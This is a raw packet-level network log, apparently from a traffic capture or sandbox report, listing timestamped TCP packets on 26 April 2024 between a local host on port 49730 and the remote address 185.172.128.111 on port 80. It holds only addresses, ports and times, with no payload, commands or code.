Apr 26, 2024 09:41:11.675797939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.675822020 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.675837040 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.675859928 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.675877094 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.675894022 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.675904989 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.675920010 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.675934076 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.675942898 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.675983906 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.676484108 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.676501036 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.676533937 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.676546097 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.676561117 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.676575899 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.676593065 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.676603079 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.676623106 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.676634073 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.676634073 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.676655054 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.676665068 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.676677942 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.676693916 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.676721096 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.677176952 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.677226067 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.677246094 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.677295923 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.677313089 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.677326918 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.677342892 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.677352905 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.677370071 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.677376986 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.677387953 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.677402020 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.677418947 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.677428007 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.677438021 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.677467108 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.677834988 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.677869081 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.677889109 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.677903891 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.677928925 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.677943945 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.677961111 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.677972078 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.677985907 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.677998066 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.678066015 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.678085089 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.678100109 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.678114891 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.678129911 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.678148031 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.678632975 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.678687096 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.678704023 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.678719997 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.678735018 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.678746939 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.678761959 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.678771973 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.678781986 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.678797007 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.678812981 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.678823948 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.678833961 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.678847075 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.678865910 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.678884983 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.679280996 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.679296970 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.679313898 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.679325104 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.679347992 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.679361105 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.679403067 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.679925919 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.679943085 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.679960966 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.679974079 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.679991007 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.680001974 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.680008888 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.680032015 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.718024015 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.718065977 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.718081951 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.718099117 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.718116999 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.718133926 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.718152046 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.718188047 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.718533993 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.718552113 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.718568087 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.718581915 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.718595982 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.718607903 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.718635082 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.728631020 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.728677034 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.728712082 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.728723049 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.728755951 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.728770971 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.728786945 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.728799105 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.728817940 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.728827953 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.728827953 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.728847027 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.728857994 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.728871107 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.728885889 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.728913069 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.728928089 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.728945017 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.728966951 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.728974104 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.728981972 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.728995085 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.729005098 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.729033947 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.729258060 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.729306936 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.773237944 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.773360968 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.773371935 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.773390055 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.773407936 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.773418903 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.773436069 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.773442984 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.773452997 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.773468971 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.773482084 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.773494005 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.773504019 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.773535967 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.774234056 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.774252892 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.774271011 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.774282932 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.774295092 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.774307013 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.774317980 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.774333000 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.774343967 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.774358034 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.774369001 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.774384022 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.774395943 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.774410009 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.774420977 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.774446011 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.774502039 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.774518967 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.774544001 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.774557114 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.775506973 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.775523901 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.775541067 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.775557995 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.775574923 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.775585890 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.775604010 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.775623083 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.775644064 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.775655031 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.775670052 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.775682926 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.775696993 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.775707960 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.775722027 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.775744915 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.775753975 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.775763988 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.775793076 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.776315928 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.776354074 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.776365995 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.776381016 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.776396036 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.776420116 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.776433945 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.776451111 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.776468039 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.776482105 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.776489019 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.776503086 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.776514053 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.776529074 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.776542902 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.776562929 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.785820961 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.785901070 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.806268930 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.806303978 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.806323051 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.806359053 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.806371927 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.806534052 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.806579113 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.806596041 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.806612968 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.806633949 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.806644917 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.806644917 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.806669950 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.806677103 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.806691885 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.806705952 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.806720972 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.806731939 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.806747913 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.806759119 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.806787968 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.807166100 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.807183027 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.807215929 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.807228088 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.807245016 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.807262897 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.807284117 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.807295084 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.807295084 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.807315111 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.807326078 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.807353973 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.807378054 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.807394981 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.807411909 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.807424068 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.807435989 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.807450056 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.807463884 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.807477951 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.807487965 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.807502985 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.807513952 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.807528973 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.807539940 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.807562113 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.807634115 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.807672024 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.807702065 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.807718039 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.807739973 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.807748079 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.807755947 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.807771921 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.807784081 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.807799101 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.807811022 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.807832956 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.807848930 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.807866096 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.807888031 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.807898998 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.807898998 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.807923079 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.807930946 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.807960033 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.807967901 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.807996988 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.808034897 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.808052063 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.808069944 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.808084965 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.808092117 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.808120012 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.808132887 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.808150053 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.808170080 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.808177948 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.808187962 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.808202982 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.808212996 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.808238983 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.808744907 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.808763027 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.808787107 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.808803082 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.808803082 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.808823109 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.808835030 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.808861971 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.808876038 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.808892012 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.808911085 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.808919907 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.808929920 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.808958054 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.809176922 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.809192896 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.809222937 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.809235096 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.809248924 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.809266090 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.809284925 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.809293032 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.809303999 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.809320927 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.809331894 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.809345961 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.809360981 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.809564114 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.809590101 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.809600115 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.809616089 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.809654951 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.809685946 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.809722900 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.809736013 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.809756994 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.809775114 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.809787989 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.809799910 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.809814930 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.809828997 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.809844017 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.809855938 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.809870005 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.809880018 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.809895039 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:11.809906006 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:11.809928894 CEST	49730	80	192.168.2.4	185.172.128.111
